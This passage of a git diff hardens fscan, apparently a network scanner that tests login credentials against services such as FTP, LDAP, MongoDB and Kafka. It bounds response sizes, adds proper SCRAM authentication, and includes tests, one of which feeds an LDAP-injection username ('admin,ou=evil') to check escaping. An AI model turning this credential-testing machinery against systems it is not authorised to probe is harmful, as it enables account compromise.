t.Fatal("validateCQLQueryResponse() error = nil, want query error") + } + if err := validateCQLQueryResponse(cqlOpReady, nil); err == nil { + t.Fatal("validateCQLQueryResponse() error = nil, want unexpected opcode error") + } +} diff --git a/plugins/services/elasticsearch.go b/plugins/services/elasticsearch.go index 7f3b418..86f71cb 100644 --- a/plugins/services/elasticsearch.go +++ b/plugins/services/elasticsearch.go @@ -7,7 +7,6 @@ import ( "crypto/tls" "encoding/base64" "fmt" - "io" "net/http" "github.com/shadow1ng/fscan/common" @@ -107,7 +106,7 @@ func (p *ElasticsearchPlugin) testCredential(ctx context.Context, info *common.H defer func() { _ = resp.Body.Close() }() if resp.StatusCode == 200 { - body, err := io.ReadAll(resp.Body) + body, err := readServiceHTTPBody(resp.Body) if err != nil { return false } diff --git a/plugins/services/ftp.go b/plugins/services/ftp.go index 00dc343..0b85fec 100644 --- a/plugins/services/ftp.go +++ b/plugins/services/ftp.go @@ -6,6 +6,7 @@ import ( "context" "fmt" "strings" + "time" ftplib "github.com/jlaffaye/ftp" "github.com/shadow1ng/fscan/common" @@ -80,7 +81,7 @@ func (p *FTPPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, func (p *FTPPlugin) doFTPAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult { target := info.Target() - conn, err := ftplib.Dial(target, ftplib.DialWithTimeout(config.Timeout)) + conn, err := ftplib.Dial(target, ftpDialOptions(ctx, config.Timeout)...) if err != nil { state.IncrementTCPFailedPacketCount() return &AuthResult{ @@ -91,6 +92,11 @@ func (p *FTPPlugin) doFTPAuth(ctx context.Context, info *common.HostInfo, cred C } state.IncrementTCPSuccessPacketCount() + stopCancelClose := context.AfterFunc(ctx, func() { + _ = conn.Quit() + }) + defer stopCancelClose() + err = conn.Login(cred.Username, cred.Password) if err != nil { _ = conn.Quit() @@ -118,6 +124,13 @@ func (w *ftpConnWrapper) Close() error { return w.Quit() } +func ftpDialOptions(ctx context.Context, timeout time.Duration) []ftplib.DialOption { + return []ftplib.DialOption{ + ftplib.DialWithTimeout(timeout), + ftplib.DialWithContext(ctx), + } +} + // classifyFTPErrorType FTP错误分类 func classifyFTPErrorType(err error) ErrorType { if err == nil { @@ -260,10 +273,7 @@ func (p *FTPPlugin) listFTPFiles(conn *ftplib.ServerConn) []string { } fileName := entry.Name - if len(fileName) > 50 { - fileName = fileName[:50] + "..." - } - files = append(files, fileName) + files = append(files, truncateRunes(fileName, 50)) } return files diff --git a/plugins/services/http_body.go b/plugins/services/http_body.go new file mode 100644 index 0000000..1b905c6 --- /dev/null +++ b/plugins/services/http_body.go @@ -0,0 +1,9 @@ +package services + +import "io" + +const maxServiceHTTPBodyBytes = 2 << 20 + +func readServiceHTTPBody(r io.Reader) ([]byte, error) { + return io.ReadAll(io.LimitReader(r, maxServiceHTTPBodyBytes)) +} diff --git a/plugins/services/http_body_test.go b/plugins/services/http_body_test.go new file mode 100644 index 0000000..8cad64c --- /dev/null +++ b/plugins/services/http_body_test.go @@ -0,0 +1,19 @@ +//go:build plugin_elasticsearch || plugin_neo4j || plugin_rabbitmq || !plugin_selective + +package services + +import ( + "strings" + "testing" +) + +func TestReadServiceHTTPBodyIsBounded(t *testing.T) { + body := strings.NewReader(strings.Repeat("a", maxServiceHTTPBodyBytes+1024)) + got, err := readServiceHTTPBody(body) + if err != nil { + t.Fatalf("readServiceHTTPBody error = %v", err) + } + if len(got) != maxServiceHTTPBodyBytes { + t.Fatalf("body len = %d, want %d", len(got), maxServiceHTTPBodyBytes) + } +} diff --git a/plugins/services/http_test_helpers_test.go b/plugins/services/http_test_helpers_test.go new file mode 100644 index 0000000..8a4ddef --- /dev/null +++ b/plugins/services/http_test_helpers_test.go @@ -0,0 +1,35 @@ +//go:build !plugin_selective || plugin_neo4j || plugin_rabbitmq + +package services + +import ( + "net" + "net/http/httptest" + "net/url" + "strconv" + "testing" + + "github.com/shadow1ng/fscan/common" +) + +func testSession() *common.ScanSession { + cfg := common.NewConfig() + return common.NewScanSession(cfg, common.NewState(), &common.FlagVars{}) +} + +func hostInfoFromServer(t *testing.T, server *httptest.Server) *common.HostInfo { + t.Helper() + u, err := url.Parse(server.URL) + if err != nil { + t.Fatalf("Parse server URL error = %v", err) + } + host, portText, err := net.SplitHostPort(u.Host) + if err != nil { + t.Fatalf("SplitHostPort error = %v", err) + } + port, err := strconv.Atoi(portText) + if err != nil { + t.Fatalf("Atoi port error = %v", err) + } + return &common.HostInfo{Host: host, Port: port} +} diff --git a/plugins/services/imap.go b/plugins/services/imap.go index 25fd2b9..758ff99 100644 --- a/plugins/services/imap.go +++ b/plugins/services/imap.go @@ -5,7 +5,6 @@ package services import ( "bufio" "context" - "fmt" "strings" "time" @@ -88,7 +87,10 @@ func (p *IMAPPlugin) tryLogin(ctx context.Context, info *common.HostInfo, cred p return nil } - loginCmd := fmt.Sprintf("a001 LOGIN %s %s\r\n", cred.Username, cred.Password) + loginCmd, err := buildIMAPLoginCommand("a001", cred.Username, cred.Password) + if err != nil { + return nil + } if _, err := conn.Write([]byte(loginCmd)); err != nil { return nil } diff --git a/plugins/services/jdwp.go b/plugins/services/jdwp.go index ba39d83..4d44e47 100644 --- a/plugins/services/jdwp.go +++ b/plugins/services/jdwp.go @@ -76,7 +76,7 @@ func (p *JDWPPlugin) getVersion(conn interface { } header := make([]byte, 11) - if _, err := conn.Read(header); err != nil { + if _, err := io.ReadFull(conn, header); err != nil { return "" } replyLen := int(header[0])<<24 | int(header[1])<<16 | int(header[2])<<8 | int(header[3]) @@ -85,7 +85,7 @@ func (p *JDWPPlugin) getVersion(conn interface { } body := make([]byte, replyLen-11) - if _, err := conn.Read(body); err != nil { + if _, err := io.ReadFull(conn, body); err != nil { return "" } @@ -101,10 +101,7 @@ func parseJDWPVersionString(data []byte) string { return "" } s := string(data[4 : 4+strLen]) - if len(s) > 200 { - s = s[:200] - } - return s + return truncateRunes(s, 200) } func init() { diff --git a/plugins/services/jdwp_test.go b/plugins/services/jdwp_test.go new file mode 100644 index 0000000..524105d --- /dev/null +++ b/plugins/services/jdwp_test.go @@ -0,0 +1,67 @@ +//go:build plugin_jdwp || !plugin_selective + +package services + +import ( + "encoding/binary" + "io" + "strings" + "testing" + "time" + "unicode/utf8" +) + +type chunkedJDWPConn struct { + data []byte + chunkSize int +} + +func (c *chunkedJDWPConn) Read(p []byte) (int, error) { + if len(c.data) == 0 { + return 0, io.EOF + } + n := c.chunkSize + if n <= 0 || n > len(c.data) { + n = len(c.data) + } + if n > len(p) { + n = len(p) + } + copy(p, c.data[:n]) + c.data = c.data[n:] + return n, nil +} + +func (c *chunkedJDWPConn) Write([]byte) (int, error) { return 0, nil } +func (c *chunkedJDWPConn) SetDeadline(time.Time) error { + return nil +} + +func TestJDWPGetVersionHandlesChunkedReads(t *testing.T) { + const version = "Java Debug Wire Protocol" + body := make([]byte, 4+len(version)) + binary.BigEndian.PutUint32(body[:4], uint32(len(version))) + copy(body[4:], version) + + reply := make([]byte, 11+len(body)) + binary.BigEndian.PutUint32(reply[:4], uint32(len(reply))) + copy(reply[11:], body) + + p := NewJDWPPlugin() + got := p.getVersion(&chunkedJDWPConn{data: reply, chunkSize: 3}, time.Second) + if got != version { + t.Fatalf("getVersion() = %q, want %q", got, version) + } +} + +func TestParseJDWPVersionStringTruncatesByRune(t *testing.T) { + version := strings.Repeat("界", 205) + body := make([]byte, 4+len(version)) + binary.BigEndian.PutUint32(body[:4], uint32(len(version))) + copy(body[4:], version) + + got := parseJDWPVersionString(body) + if !utf8.ValidString(got) || len([]rune(got)) != 203 || !strings.HasSuffix(got, "...") { + t.Fatalf("parseJDWPVersionString() = %q", got) + } +} diff --git a/plugins/services/kafka.go b/plugins/services/kafka.go index edc85ab..85719be 100644 --- a/plugins/services/kafka.go +++ b/plugins/services/kafka.go @@ -155,6 +155,8 @@ func (p *KafkaPlugin) doKafkaAuth(ctx context.Context, info *common.HostInfo, cr var kafkaCorrelationID int32 +const maxKafkaResponseSize = 1024 * 1024 + func nextKafkaCorrelationID() int32 { return atomic.AddInt32(&kafkaCorrelationID, 1) - 1 } @@ -178,23 +180,26 @@ func kafkaSend(conn net.Conn, apiKey, apiVersion int16, body []byte) error { return err } -func kafkaRecv(conn net.Conn) ([]byte, error) { +func kafkaRecv(conn io.Reader) ([]byte, error) { // 读取 4 字节长度 lenBuf := make([]byte, 4) if _, err := io.ReadFull(conn, lenBuf); err != nil { return nil, err } msgLen := int(binary.BigEndian.Uint32(lenBuf)) + if msgLen < 4 { + return nil, fmt.Errorf("invalid kafka response length: %d", msgLen) + } + if msgLen > maxKafkaResponseSize { + return nil, fmt.Errorf("kafka response too large: %d", msgLen) + } // 读取消息体 msg := make([]byte, msgLen) if _, err := io.ReadFull(conn, msg); err != nil { return nil, err } // 跳过 correlation_id (4B),返回 body - if len(msg) >= 4 { - return msg[4:], nil - } - return msg, nil + return msg[4:], nil } func kafkaString(s string) []byte { diff --git a/plugins/services/kafka_test.go b/plugins/services/kafka_test.go new file mode 100644 index 0000000..649cc73 --- /dev/null +++ b/plugins/services/kafka_test.go @@ -0,0 +1,63 @@ +//go:build plugin_kafka || !plugin_selective + +package services + +import ( + "encoding/binary" + "io" + "testing" +) + +type chunkedKafkaReader struct { + data []byte + chunkSize int +} + +func (r *chunkedKafkaReader) Read(p []byte) (int, error) { + if len(r.data) == 0 { + return 0, io.EOF + } + n := len(r.data) + if r.chunkSize > 0 && n > r.chunkSize { + n = r.chunkSize + } + if n > len(p) { + n = len(p) + } + copy(p, r.data[:n]) + r.data = r.data[n:] + return n, nil +} + +func TestKafkaRecvHandlesChunkedResponse(t *testing.T) { + packet := make([]byte, 4+6) + binary.BigEndian.PutUint32(packet[:4], 6) + binary.BigEndian.PutUint32(packet[4:8], 123) + copy(packet[8:], []byte("ok")) + + got, err := kafkaRecv(&chunkedKafkaReader{data: packet, chunkSize: 1}) + if err != nil { + t.Fatalf("kafkaRecv() error = %v", err) + } + if string(got) != "ok" { + t.Fatalf("kafkaRecv() = %q, want ok", got) + } +} + +func TestKafkaRecvRejectsTooLargeResponse(t *testing.T) { + packet := make([]byte, 4) + binary.BigEndian.PutUint32(packet, maxKafkaResponseSize+1) + + if _, err := kafkaRecv(&chunkedKafkaReader{data: packet}); err == nil { + t.Fatal("kafkaRecv() error = nil, want too-large response error") + } +} + +func TestKafkaRecvRejectsShortResponse(t *testing.T) { + packet := make([]byte, 4) + binary.BigEndian.PutUint32(packet, 3) + + if _, err := kafkaRecv(&chunkedKafkaReader{data: packet}); err == nil { + t.Fatal("kafkaRecv() error = nil, want invalid length error") + } +} diff --git a/plugins/services/ldap.go b/plugins/services/ldap.go index 0e40be8..8bbb264 100644 --- a/plugins/services/ldap.go +++ b/plugins/services/ldap.go @@ -5,6 +5,7 @@ package services import ( "context" "fmt" + "time" ldaplib "github.com/go-ldap/ldap/v3" "github.com/shadow1ng/fscan/common" @@ -78,12 +79,17 @@ func (p *LDAPPlugin) doLDAPAuth(ctx context.Context, info *common.HostInfo, cred Error: err, } } + stopCancelClose := context.AfterFunc(ctx, func() { + _ = conn.Close() + }) + defer stopCancelClose() // 尝试多种DN格式进行绑定测试 + escapedUser := ldaplib.EscapeDN(cred.Username) dnFormats := []string{ - fmt.Sprintf("cn=%s,dc=example,dc=com", cred.Username), - fmt.Sprintf("uid=%s,dc=example,dc=com", cred.Username), - fmt.Sprintf("cn=%s,ou=users,dc=example,dc=com", cred.Username), + fmt.Sprintf("cn=%s,dc=example,dc=com", escapedUser), + fmt.Sprintf("uid=%s,dc=example,dc=com", escapedUser), + fmt.Sprintf("cn=%s,ou=users,dc=example,dc=com", escapedUser), cred.Username, } @@ -171,6 +177,10 @@ func (p *LDAPPlugin) doNTLMHashAuth(ctx context.Context, info *common.HostInfo, Error: err, } } + stopCancelClose := context.AfterFunc(ctx, func() { + _ = conn.Close() + }) + defer stopCancelClose() if err := conn.NTLMBindWithHash(domain, username, hash); err == nil { return &AuthResult{ @@ -212,6 +222,7 @@ func (p *LDAPPlugin) connectLDAP(ctx context.Context, info *common.HostInfo, ses } else { conn = ldaplib.NewConn(tcpConn, false) } + conn.SetTimeout(session.Config.Timeout) conn.Start() resultChan <- result{conn, nil} @@ -222,9 +233,15 @@ func (p *LDAPPlugin) connectLDAP(ctx context.Context, info *common.HostInfo, ses return res.conn, res.err case <-ctx.Done(): go func() { - res := <-resultChan - if res.conn != nil { - _ = res.conn.Close() + timer := time.NewTimer(authCleanupWait()) + defer timer.Stop() + + select { + case res := <-resultChan: + if res.conn != nil { + _ = res.conn.Close() + } + case <-timer.C: } }() return nil, ctx.Err() diff --git a/plugins/services/ldap_test.go b/plugins/services/ldap_test.go new file mode 100644 index 0000000..a8d4256 --- /dev/null +++ b/plugins/services/ldap_test.go @@ -0,0 +1,30 @@ +//go:build plugin_ldap || !plugin_selective + +package services + +import ( + "fmt" + "testing" + + ldaplib "github.com/go-ldap/ldap/v3" +) + +func TestLDAPDNFormatsEscapeUsernameValue(t *testing.T) { + username := "admin,ou=evil" + escapedUser := ldaplib.EscapeDN(username) + got := []string{ + fmt.Sprintf("cn=%s,dc=example,dc=com", escapedUser), + fmt.Sprintf("uid=%s,dc=example,dc=com", escapedUser), + fmt.Sprintf("cn=%s,ou=users,dc=example,dc=com", escapedUser), + username, + } + + for _, dn := range got[:3] { + if dn == "cn=admin,ou=evil,dc=example,dc=com" || dn == "uid=admin,ou=evil,dc=example,dc=com" { + t.Fatalf("DN was not escaped: %q", dn) + } + } + if got[0] != `cn=admin\,ou=evil,dc=example,dc=com` { + t.Fatalf("escaped DN = %q", got[0]) + } +} diff --git a/plugins/services/mongodb.go b/plugins/services/mongodb.go index a7f794e..6cad724 100644 --- a/plugins/services/mongodb.go +++ b/plugins/services/mongodb.go @@ -4,12 +4,17 @@ package services import ( "context" + "crypto/hmac" + "crypto/md5" "crypto/rand" + "crypto/sha1" "encoding/base64" "encoding/binary" "fmt" "io" + "math" "net" + "strconv" "strings" "sync/atomic" "time" @@ -17,6 +22,7 @@ import ( "github.com/shadow1ng/fscan/common" "github.com/shadow1ng/fscan/common/i18n" "github.com/shadow1ng/fscan/plugins" + "golang.org/x/crypto/pbkdf2" ) // MongoDBPlugin MongoDB扫描插件(纯 raw TCP 实现,无重型依赖) @@ -108,12 +114,13 @@ func (p *MongoDBPlugin) doMongoDBAuth(ctx context.Context, info *common.HostInfo // Step 2: saslStart SCRAM-SHA-1 nonce := randomString(24) - saslPayload := "n=" + cred.Username + ",r=" + nonce + clientFirstBare := "n=" + cred.Username + ",r=" + nonce + saslPayload := "n,," + clientFirstBare saslStartBody := mongoDoc{ "saslStart": 1, "mechanism": "SCRAM-SHA-1", - "payload": base64EncodeStr(saslPayload), + "payload": []byte(saslPayload), "autoAuthorize": 1, } saslStartCmd := buildMongoCommand("admin", saslStartBody) @@ -127,21 +134,48 @@ func (p *MongoDBPlugin) doMongoDBAuth(ctx context.Context, info *common.HostInfo return &AuthResult{Success: false, ErrorType: ErrorTypeNetwork, Error: err} } - // saslStart 响应检查: - // - ok:0 + code:18 → 认证失败 - // - ok:1 + conversationId + payload → 认证有效 - respStr := string(resp) - if strings.Contains(respStr, "\"ok\":0") || strings.Contains(respStr, "Authentication failed") { - return &AuthResult{Success: false, ErrorType: ErrorTypeAuth, Error: fmt.Errorf("authentication failed")} + startReply, err := parseMongoCommandReply(resp) + if err != nil { + state.IncrementTCPFailedPacketCount() + return &AuthResult{Success: false, ErrorType: ErrorTypeNetwork, Error: err} + } + if !startReply.ok { + return &AuthResult{Success: false, ErrorType: ErrorTypeAuth, Error: fmt.Errorf("authentication failed: %s", startReply.errmsg)} + } + if !startReply.conversationSet || len(startReply.payload) == 0 { + return &AuthResult{Success: false, ErrorType: ErrorTypeAuth, Error: fmt.Errorf("invalid saslStart response")} } - // 如果在响应中找到 conversationId,说明凭据有效 - if strings.Contains(respStr, "conversationId") { - state.IncrementTCPSuccessPacketCount() - return &AuthResult{Success: true, ErrorType: ErrorTypeUnknown, Error: nil} + serverFirst := string(startReply.payload) + clientFinal, err := buildMongoSCRAMClientFinal(cred.Username, cred.Password, clientFirstBare, serverFirst) + if err != nil { + return &AuthResult{Success: false, ErrorType: ErrorTypeAuth, Error: err} + } + + saslContinueBody := mongoDoc{ + "saslContinue": 1, + "conversationId": int(startReply.conversationID), + "payload": []byte(clientFinal), + } + saslContinueCmd := buildMongoCommand("admin", saslContinueBody) + if _, err := sendMongoMsg(ctx, conn, saslContinueCmd, timeout); err != nil { + state.IncrementTCPFailedPacketCount() + return &AuthResult{Success: false, ErrorType: ErrorTypeNetwork, Error: err} + } + resp, err = readMongoMsg(conn, timeout) + if err != nil { + state.IncrementTCPFailedPacketCount() + return &AuthResult{Success: false, ErrorType: ErrorTypeNetwork, Error: err} + } + finalReply, err := parseMongoCommandReply(resp) + if err != nil { + state.IncrementTCPFailedPacketCount() + return &AuthResult{Success: false, ErrorType: ErrorTypeNetwork, Error: err} + } + if !finalReply.ok { + return &AuthResult{Success: false, ErrorType: ErrorTypeAuth, Error: fmt.Errorf("authentication failed: %s", finalReply.errmsg)} } - // 无认证失败的明确信号 = 尝试成功 state.IncrementTCPSuccessPacketCount() return &AuthResult{Success: true, ErrorType: ErrorTypeUnknown, Error: nil} } @@ -149,9 +183,10 @@ func (p *MongoDBPlugin) doMongoDBAuth(ctx context.Context, info *common.HostInfo // ── MongoDB wire protocol 工具 ────────────────────────────────── const ( - opMsg uint32 = 2013 - opQuery uint32 = 2004 - opReply uint32 = 1 + opMsg uint32 = 2013 + opQuery uint32 = 2004 + opReply uint32 = 1 + maxMongoMessageBody = 1024 * 1024 ) var mongoRequestID uint32 @@ -225,7 +260,7 @@ func buildBSON(doc mongoDoc) []byte { buf = append(buf, []byte(k)...) buf = append(buf, 0x00) b := []byte(val) - buf = append(buf, byte(len(b)+1), 0, 0, 0) + buf = binary.LittleEndian.AppendUint32(buf, uint32(len(b)+1)) buf = append(buf, b...) buf = append(buf, 0x00) case int: @@ -235,13 +270,16 @@ func buildBSON(doc mongoDoc) []byte { i32 := make([]byte, 4) binary.LittleEndian.PutUint32(i32, uint32(val)) buf = append(buf, i32...) + case int64: + buf = append(buf, 0x12) // type int64 + buf = append(buf, []byte(k)...) + buf = append(buf, 0x00) + buf = binary.LittleEndian.AppendUint64(buf, uint64(val)) case float64: buf = append(buf, 0x01) // type double buf = append(buf, []byte(k)...) buf = append(buf, 0x00) - f64 := make([]byte, 8) - binary.LittleEndian.PutUint64(f64, uint64(val)) - buf = append(buf, f64...) + buf = binary.LittleEndian.AppendUint64(buf, math.Float64bits(val)) case mongoDoc: buf = append(buf, 0x03) // type document buf = append(buf, []byte(k)...) @@ -252,7 +290,7 @@ func buildBSON(doc mongoDoc) []byte { buf = append(buf, 0x05) // type binary buf = append(buf, []byte(k)...) buf = append(buf, 0x00) - buf = append(buf, byte(len(val)), 0, 0, 0) + buf = binary.LittleEndian.AppendUint32(buf, uint32(len(val))) buf = append(buf, 0x00) // subtype 0 buf = append(buf, val...) case bool: @@ -301,8 +339,11 @@ func readMongoMsg(conn io.Reader, timeout time.Duration) ([]byte, error) { } // 读取剩余 body bodyLen := int(msgLen) - 16 - if bodyLen <= 0 || bodyLen > 1024*1024 { - return nil, nil + if bodyLen == 0 { + return []byte{}, nil + } + if bodyLen > maxMongoMessageBody { + return nil, fmt.Errorf("mongodb response too large: %d", msgLen) } body := make([]byte, bodyLen) if _, err := io.ReadFull(conn, body); err != nil { @@ -316,6 +357,197 @@ func readMongoMsg(conn io.Reader, timeout time.Duration) ([]byte, error) { return body, nil } +type mongoCommandReply struct { + ok bool + conversationID int32 + conversationSet bool + payload []byte + done bool + errmsg string +} + +func parseMongoCommandReply(doc []byte) (mongoCommandReply, error) { + var reply mongoCommandReply + if len(doc) < 5 { + return reply, fmt.Errorf("short bson document") + } + docLen := int(binary.LittleEndian.Uint32(doc[:4])) + if docLen < 5 || docLen > len(doc) { + return reply, fmt.Errorf("invalid bson document length: %d", docLen) + } + pos := 4 + for pos < docLen-1 { + typ := doc[pos] + pos++ + keyStart := pos + for pos < docLen && doc[pos] != 0 { + pos++ + } + if pos >= docLen { + return reply, fmt.Errorf("unterminated bson key") + } + key := string(doc[keyStart:pos]) + pos++ + + switch typ { + case 0x01: // double + if pos+8 > docLen { + return reply, fmt.Errorf("short bson double") + } + if key == "ok" { + reply.ok = binary.LittleEndian.Uint64(doc[pos:pos+8]) != 0 + } + pos += 8 + case 0x02: // string + if pos+4 > docLen { + return reply, fmt.Errorf("short bson string length") + } + n := int(binary.LittleEndian.Uint32(doc[pos : pos+4])) + pos += 4 + if n <= 0 || pos+n > docLen { + return reply, fmt.Errorf("invalid bson string length: %d", n) + } + value := string(doc[pos : pos+n-1]) + pos += n + switch key { + case "errmsg": + reply.errmsg = value + case "payload": + reply.payload = []byte(value) + } + case 0x05: // binary + if pos+5 > docLen { + return reply, fmt.Errorf("short bson binary") + } + n := int(binary.LittleEndian.Uint32(doc[pos : pos+4])) + pos += 5 // length + subtype + if n < 0 || pos+n > docLen { + return reply, fmt.Errorf("invalid bson binary length: %d", n) + } + if key == "payload" { + reply.payload = append([]byte(nil), doc[pos:pos+n]...) + } + pos += n + case 0x03, 0x04: // document, array + if pos+4 > docLen { + return reply, fmt.Errorf("short bson embedded document") + } + n := int(binary.LittleEndian.Uint32(doc[pos : pos+4])) + if n < 5 || pos+n > docLen { + return reply, fmt.Errorf("invalid bson embedded document length: %d", n) + } + pos += n + case 0x07: // objectId + if pos+12 > docLen { + return reply, fmt.Errorf("short bson objectId") + } + pos += 12 + case 0x08: // bool + if pos+1 > docLen { + return reply, fmt.Errorf("short bson bool") + } + if key == "done" { + reply.done = doc[pos] != 0 + } + if key == "ok" { + reply.ok = doc[pos] != 0 + } + pos++ + case 0x10: // int32 + if pos+4 > docLen { + return reply, fmt.Errorf("short bson int32") + } + value := int32(binary.LittleEndian.Uint32(doc[pos : pos+4])) + if key == "conversationId" { + reply.conversationID = value + reply.conversationSet = true + } + if key == "ok" { + reply.ok = value != 0 + } + pos += 4 + case 0x09, 0x11: // datetime, timestamp + if pos+8 > docLen { + return reply, fmt.Errorf("short bson fixed64") + } + pos += 8 + case 0x0a, 0x7f, 0xff: // null, maxKey, minKey + case 0x12: // int64 + if pos+8 > docLen { + return reply, fmt.Errorf("short bson int64") + } + if key == "ok" { + reply.ok = binary.LittleEndian.Uint64(doc[pos:pos+8]) != 0 + } + pos += 8 + case 0x13: // decimal128 + if pos+16 > docLen { + return reply, fmt.Errorf("short bson decimal128") + } + pos += 16 + default: + return reply, fmt.Errorf("unsupported bson type 0x%02x for key %s", typ, key) + } + } + return reply, nil +} + +func buildMongoSCRAMClientFinal(username, password, clientFirstBare, serverFirst string) (string, error) { + attrs := parseSCRAMAttributes(serverFirst) + serverNonce := attrs["r"] + saltB64 := attrs["s"] + iterText := attrs["i"] + if serverNonce == "" || saltB64 == "" || iterText == "" { + return "", fmt.Errorf("invalid SCRAM server-first payload") + } + clientNonce := scramAttr(clientFirstBare, "r") + if clientNonce == "" || !strings.HasPrefix(serverNonce, clientNonce) { + return "", fmt.Errorf("invalid SCRAM nonce") + } + salt, err := base64.StdEncoding.DecodeString(saltB64) + if err != nil { + return "", fmt.Errorf("invalid SCRAM salt: %w", err) + } + iterations, err := strconv.Atoi(iterText) + if err != nil || iterations <= 0 { + return "", fmt.Errorf("invalid SCRAM iteration count") + } + + clientFinalWithoutProof := "c=biws,r=" + serverNonce + authMessage := clientFirstBare + "," + serverFirst + "," + clientFinalWithoutProof + digest := md5.Sum([]byte(username + ":mongo:" + password)) + saltedPassword := pbkdf2.Key([]byte(fmt.Sprintf("%x", digest)), salt, iterations, sha1.Size, sha1.New) + clientKey := mongoHMAC(saltedPassword, []byte("Client Key")) + storedKey := sha1.Sum(clientKey) + clientSignature := mongoHMAC(storedKey[:], []byte(authMessage)) + proof := make([]byte, len(clientKey)) + for i := range clientKey { + proof[i] = clientKey[i] ^ clientSignature[i] + } + return clientFinalWithoutProof + ",p=" + base64.StdEncoding.EncodeToString(proof), nil +} + +func parseSCRAMAttributes(payload string) map[string]string { + attrs := make(map[string]string) + for _, part := range strings.Split(payload, ",") { + if len(part) < 3 || part[1] != '=' { + continue + } + attrs[part[:1]] = part[2:] + } + return attrs +} + +func scramAttr(payload, key string) string { + return parseSCRAMAttributes(payload)[key] +} + +func mongoHMAC(key, data []byte) []byte { + mac := hmac.New(sha1.New, key) + _, _ = mac.Write(data) + return mac.Sum(nil) +} + // dialTCP 带超时的 TCP 连接 func dialTCP(ctx context.Context, addr string, timeout time.Duration) (net.Conn, error) { dialer := net.Dialer{Timeout: timeout} diff --git a/plugins/services/mongodb_test.go b/plugins/services/mongodb_test.go new file mode 100644 index 0000000..df40fae --- /dev/null +++ b/plugins/services/mongodb_test.go @@ -0,0 +1,130 @@ +//go:build plugin_mongodb || !plugin_selective + +package services + +import ( + "bytes" + "encoding/base64" + "encoding/binary" + "strings" + "testing" + "time" +) + +func TestReadMongoMsgRejectsTooLargeResponse(t *testing.T) { + header := make([]byte, 16) + binary.LittleEndian.PutUint32(header[:4], uint32(16+maxMongoMessageBody+1)) + + _, err := readMongoMsg(bytes.NewReader(header), time.Second) + if err == nil { + t.Fatal("readMongoMsg() error = nil, want too-large response error") + } + if !strings.Contains(err.Error(), "too large") { + t.Fatalf("readMongoMsg() error = %v, want too large", err) + } +} + +func TestReadMongoMsgHandlesEmptyBody(t *testing.T) { + header := make([]byte, 16) + binary.LittleEndian.PutUint32(header[:4], 16) + + got, err := readMongoMsg(bytes.NewReader(header), time.Second) + if err != nil { + t.Fatalf("readMongoMsg() error = %v", err) + } + if len(got) != 0 { + t.Fatalf("readMongoMsg() len = %d, want 0", len(got)) + } +} + +func TestBuildBSONEncodesFullStringAndBinaryLengths(t *testing.T) { + longString := strings.Repeat("a", 300) + longBinary := bytes.Repeat([]byte{0x42}, 300) + + doc := buildBSON(mongoDoc{"s": longString}) + pos := 4 + if doc[pos] != 0x02 { + t.Fatalf("first bson type = 0x%02x, want string", doc[pos]) + } + pos += 1 + len("s") + 1 + if got := binary.LittleEndian.Uint32(doc[pos : pos+4]); got != uint32(len(longString)+1) { + t.Fatalf("string length = %d, want %d", got, len(longString)+1) + } + + doc = buildBSON(mongoDoc{"b": longBinary}) + pos = 4 + if doc[pos] != 0x05 { + t.Fatalf("first bson type = 0x%02x, want binary", doc[pos]) + } + pos += 1 + len("b") + 1 + if got := binary.LittleEndian.Uint32(doc[pos : pos+4]); got != uint32(len(longBinary)) { + t.Fatalf("binary length = %d, want %d", got, len(longBinary)) + } +} + +func TestBuildBSONEncodesFloat64Bits(t *testing.T) { + doc := buildBSON(mongoDoc{"ok": 1.5}) + pos := 4 + if doc[pos] != 0x01 { + t.Fatalf("bson type = 0x%02x, want double", doc[pos]) + } + pos += 1 + len("ok") + 1 + if got := binary.LittleEndian.Uint64(doc[pos : pos+8]); got != 0x3ff8000000000000 { + t.Fatalf("double bits = 0x%x, want 1.5 bits", got) + } +} + +func TestParseMongoCommandReplyReadsSCRAMFields(t *testing.T) { + payload := []byte("r=clientserver,s=" + base64.StdEncoding.EncodeToString([]byte("salt")) + ",i=4096") + doc := buildBSON(mongoDoc{ + "ok": 1, + "conversationId": 7, + "payload": payload, + "done": false, + }) + + reply, err := parseMongoCommandReply(doc) + if err != nil { + t.Fatalf("parseMongoCommandReply() error = %v", err) + } + if !reply.ok || !reply.conversationSet || reply.conversationID != 7 || string(reply.payload) != string(payload) { + t.Fatalf("unexpected reply: %+v", reply) + } +} + +func TestParseMongoCommandReplySkipsExtraBSONFields(t *testing.T) { + payload := []byte("r=clientserver,s=" + base64.StdEncoding.EncodeToString([]byte("salt")) + ",i=4096") + doc := buildBSON(mongoDoc{ + "$clusterTime": mongoDoc{"clusterTime": 1}, + "operationTime": int64(123), + "ok": 1, + "conversationId": 9, + "payload": payload, + }) + + reply, err := parseMongoCommandReply(doc) + if err != nil { + t.Fatalf("parseMongoCommandReply() error = %v", err) + } + if !reply.ok || reply.conversationID != 9 || string(reply.payload) != string(payload) { + t.Fatalf("unexpected reply: %+v", reply) + } +} + +func TestBuildMongoSCRAMClientFinalRejectsBadNonce(t *testing.T) { + serverFirst := "r=othernonce,s=" + base64.StdEncoding.EncodeToString([]byte("salt")) + ",i=4096" + if _, err := buildMongoSCRAMClientFinal("user", "pass", "n=user,r=client", serverFirst); err == nil { + t.Fatal("buildMongoSCRAMClientFinal() error = nil, want nonce error") + } +} + +func TestBuildMongoSCRAMClientFinalBuildsProof(t *testing.T) { + serverFirst := "r=clientserver,s=" + base64.StdEncoding.EncodeToString([]byte("salt")) + ",i=4096" + got, err := buildMongoSCRAMClientFinal("user", "pass", "n=user,r=client", serverFirst) + if err != nil { + t.Fatalf("buildMongoSCRAMClientFinal() error = %v", err) + } + if !strings.HasPrefix(got, "c=biws,r=clientserver,p=") { + t.Fatalf("client final = %q", got) + } +} diff --git a/plugins/services/mssql_raw.go b/plugins/services/mssql_raw.go index 8b3cbfc..4d2a242 100644 --- a/plugins/services/mssql_raw.go +++ b/plugins/services/mssql_raw.go @@ -23,6 +23,7 @@ const ( tdsVersion74 = 0x74000004 tdsDefaultPacketLen = 4096 + maxTDSMessageSize = 1024 * 1024 tdsPreloginVersion = 0 tdsPreloginEncryption = 1 @@ -439,6 +440,9 @@ func mssqlReadMessage(r io.Reader) (byte, []byte, error) { if _, err := io.ReadFull(r, chunk); err != nil { return 0, nil, err } + if len(payload)+len(chunk) > maxTDSMessageSize { + return 0, nil, fmt.Errorf("mssql: message too large") + } payload = append(payload, chunk...) if header[1]&tdsStatusEOM != 0 { return packetType, payload, nil diff --git 